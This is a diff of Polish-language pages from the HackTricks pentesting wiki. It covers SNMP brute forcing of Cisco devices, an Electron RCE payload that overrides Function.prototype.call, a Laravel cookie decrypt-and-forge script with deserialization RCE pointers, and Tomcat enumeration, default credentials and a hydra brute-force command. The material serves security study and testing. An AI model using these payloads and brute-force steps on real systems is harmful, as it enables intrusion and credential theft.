Praktycznym narzędziem do przeprowadzania takich ataków siłowych jest [**onesixtyone**](https://github.com/trailofbits/onesixtyone), które wymaga listy potencjalnych ciągów społeczności oraz adresów IP celów:
|
||||
Praktycznym narzędziem do przeprowadzania takich ataków brute-force jest [**onesixtyone**](https://github.com/trailofbits/onesixtyone), które wymaga listy potencjalnych ciągów społeczności oraz adresów IP celów:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Framework Metasploit zawiera moduł `cisco_config_tftp`, ułatwiający wydobycie konfiguracji urządzenia, pod warunkiem uzyskania ciągu RW community. Podstawowe parametry dla tej operacji to:
|
||||
Framework Metasploit zawiera moduł `cisco_config_tftp`, który ułatwia ekstrakcję konfiguracji urządzeń, w zależności od uzyskania ciągu społeczności RW. Kluczowe parametry dla tej operacji obejmują:
|
||||
|
||||
* Ciąg RW community (**COMMUNITY**)
|
||||
* ciąg społeczności RW (**COMMUNITY**)
|
||||
* IP atakującego (**LHOST**)
|
||||
* IP docelowego urządzenia (**RHOSTS**)
|
||||
* Ścieżka docelowa dla plików konfiguracyjnych (**OUTPUTDIR**)
|
||||
|
||||
Po skonfigurowaniu ten moduł umożliwia pobranie ustawień urządzenia bezpośrednio do określonego folderu.
|
||||
Po skonfigurowaniu, ten moduł umożliwia pobranie ustawień urządzenia bezpośrednio do określonego folderu.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Kolejny moduł Metasploit, **`snmp_enum`**, specjalizuje się w zbieraniu szczegółowych informacji sprzętowych. Działa z oboma rodzajami ciągów community i wymaga adresu IP celu dla pomyślnego wykonania:
|
||||
Inny moduł Metasploit, **`snmp_enum`**, specjalizuje się w zbieraniu szczegółowych informacji o sprzęcie. Działa z dowolnym typem ciągu społeczności i wymaga adresu IP celu do pomyślnego wykonania:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hakerstwie** i hakowaniem tego, co niemożliwe - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego_).
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakerstwa AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# RCE w Electronie poprzez izolację kontekstu Electrona
|
||||
# Electron contextIsolation RCE via Electron internal code
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Przykład 1
|
||||
## Example 1
|
||||
|
||||
Przykład z [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
|
||||
|
||||
Słuchacz zdarzenia "exit" jest zawsze ustawiany przez wewnętrzny kod, gdy rozpoczyna się ładowanie strony. To zdarzenie jest emitowane tuż przed nawigacją:
|
||||
Słuchacz zdarzenia "exit" jest zawsze ustawiany przez wewnętrzny kod, gdy ładowanie strony się zaczyna. To zdarzenie jest emitowane tuż przed nawigacją:
|
||||
```javascript
|
||||
process.on('exit', function (){
|
||||
for (let p in cachedArchives) {
|
||||
|
@ -35,15 +38,15 @@ Następnie przechodzi tutaj:
|
|||
|
||||
![](<../../../.gitbook/assets/image (793).png>)
|
||||
|
||||
Gdzie "self" to obiekt procesu Node'a:
|
||||
Gdzie "self" to obiekt procesu Node:
|
||||
|
||||
![](<../../../.gitbook/assets/image (700).png>)
|
||||
|
||||
Obiekt procesu ma odwołania do funkcji "require":
|
||||
Obiekt procesu ma odniesienie do funkcji "require":
|
||||
```
|
||||
process.mainModule.require
|
||||
```
|
||||
Jako handler.call otrzyma obiekt procesu, możemy go nadpisać, aby wykonać dowolny kod:
|
||||
Ponieważ handler.call ma otrzymać obiekt procesu, możemy go nadpisać, aby wykonać dowolny kod:
|
||||
```html
|
||||
<script>
|
||||
Function.prototype.call = function(process){
|
||||
|
@ -56,22 +59,25 @@ location.reload();//Trigger the "exit" event
|
|||
|
||||
Uzyskaj **obiekt require z zanieczyszczenia prototypu**. Z [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
Leak:
|
||||
Wycieki:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Exploit:
|
||||
Eksploatacja:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Laravel
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Triki w Laravel
|
||||
## Laravel Tricks
|
||||
|
||||
### Tryb debugowania
|
||||
|
||||
|
@ -21,17 +24,17 @@ Na przykład `http://127.0.0.1:8000/profiles`:
|
|||
|
||||
![](<../../.gitbook/assets/image (1046).png>)
|
||||
|
||||
Zazwyczaj jest to konieczne do wykorzystania innych podatności RCE w Laravel.
|
||||
Jest to zazwyczaj potrzebne do wykorzystania innych CVE RCE Laravel.
|
||||
|
||||
### .env
|
||||
|
||||
Laravel zapisuje APP, którego używa do szyfrowania plików cookie i innych poświadczeń w pliku o nazwie `.env`, do którego można uzyskać dostęp za pomocą pewnego przekraczania ścieżki pod: `/../.env`
|
||||
Laravel zapisuje APP, której używa do szyfrowania ciasteczek i innych poświadczeń w pliku o nazwie `.env`, do którego można uzyskać dostęp za pomocą pewnego przejścia ścieżki pod: `/../.env`
|
||||
|
||||
Laravel pokaże również te informacje na stronie debugowania (która pojawia się, gdy Laravel napotka błąd i jest aktywowana).
|
||||
Laravel pokaże również te informacje na stronie debugowania (która pojawia się, gdy Laravel napotyka błąd i jest aktywowana).
|
||||
|
||||
Korzystając z tajnego APP\_KEY Laravela, możesz deszyfrować i ponownie zaszyfrować pliki cookie:
|
||||
Używając tajnego APP\_KEY Laravel, możesz odszyfrować i ponownie zaszyfrować ciasteczka:
|
||||
|
||||
### Deszyfrowanie Cookie
|
||||
### Odszyfruj ciasteczko
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
|
@ -90,14 +93,14 @@ decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1
|
|||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserializacja RCE
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Wersje podatne: 5.5.40 oraz 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Wersje podatne: 5.5.40 i 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Tutaj znajdziesz informacje na temat podatności deserializacji: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Tutaj możesz znaleźć informacje o podatności na deserializację: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Możesz przetestować i wykorzystać to używając [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Możesz także to wykorzystać z metasploitem: `use unix/http/laravel_token_unserialize_exec`
|
||||
Możesz to przetestować i wykorzystać używając [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Lub możesz to również wykorzystać z metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
|
@ -105,16 +108,19 @@ Inna deserializacja: [https://github.com/ambionics/laravel-exploits](https://git
|
|||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Przeczytaj informacje na ten temat tutaj: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Przeczytaj informacje o tym tutaj: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Tomcat
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -22,12 +25,12 @@
|
|||
|
||||
## Odkrywanie
|
||||
|
||||
* Zazwyczaj działa na **porcie 8080**
|
||||
* **Powszechny błąd Tomcat:**
|
||||
* Zwykle działa na **porcie 8080**
|
||||
* **Typowy błąd Tomcat:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Eksploracja
|
||||
## Enumeracja
|
||||
|
||||
### **Identyfikacja wersji**
|
||||
|
||||
|
@ -35,19 +38,21 @@ Aby znaleźć wersję Apache Tomcat, można wykonać prostą komendę:
|
|||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
To będzie wyszukiwać termin "Tomcat" na stronie indeksu dokumentacji, ujawniając wersję w tagu tytułu odpowiedzi HTML.
|
||||
|
||||
### **Lokalizacja plików menedżera**
|
||||
|
||||
Zidentyfikowanie dokładnych lokalizacji katalogów **`/manager`** i **`/host-manager`** jest kluczowe, ponieważ ich nazwy mogą być zmienione. Zaleca się przeprowadzenie ataku siłowego w celu zlokalizowania tych stron.
|
||||
Identyfikacja dokładnych lokalizacji katalogów **`/manager`** i **`/host-manager`** jest kluczowa, ponieważ ich nazwy mogą być zmienione. Zaleca się przeprowadzenie ataku brute-force w celu zlokalizowania tych stron.
|
||||
|
||||
### **Wyliczanie nazw użytkowników**
|
||||
### **Enumeracja nazw użytkowników**
|
||||
|
||||
Dla wersji Tomcat starszych niż 6, istnieje możliwość wyliczenia nazw użytkowników poprzez:
|
||||
Dla wersji Tomcat starszych niż 6, możliwe jest enumerowanie nazw użytkowników poprzez:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **Domyślne dane uwierzytelniające**
|
||||
### **Domyślne dane logowania**
|
||||
|
||||
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Ten katalog jest chroniony przez podstawową autentykację HTTP, a powszechne dane uwierzytelniające to:
|
||||
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Katalog ten jest chroniony podstawową autoryzacją HTTP, a powszechne dane logowania to:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -56,33 +61,35 @@ Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia pr
|
|||
* tomcat:s3cr3t
|
||||
* admin:tomcat
|
||||
|
||||
Te dane uwierzytelniające można przetestować za pomocą:
|
||||
Te dane logowania można przetestować za pomocą:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, ułatwiając identyfikację podatności.
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, co pomaga w identyfikacji luk w zabezpieczeniach.
|
||||
|
||||
### **Atak siłowy**
|
||||
### **Atak Brute Force**
|
||||
|
||||
Aby przeprowadzić atak siłowy na katalog managera, można użyć:
|
||||
Aby spróbować przeprowadzić atak brute force na katalogu menedżera, można użyć:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
## Powszechne podatności
|
||||
Along with setting various parameters in Metasploit to target a specific host.
|
||||
|
||||
### **Ujawnienie śladu hasła**
|
||||
## Common Vulnerabilities
|
||||
|
||||
Dostęp do `/auth.jsp` może ujawnić hasło w śladzie w szczęśliwych okolicznościach.
|
||||
### **Password Backtrace Disclosure**
|
||||
|
||||
### **Podwójne kodowanie URL**
|
||||
Dostęp do `/auth.jsp` może ujawnić hasło w backtrace w sprzyjających okolicznościach.
|
||||
|
||||
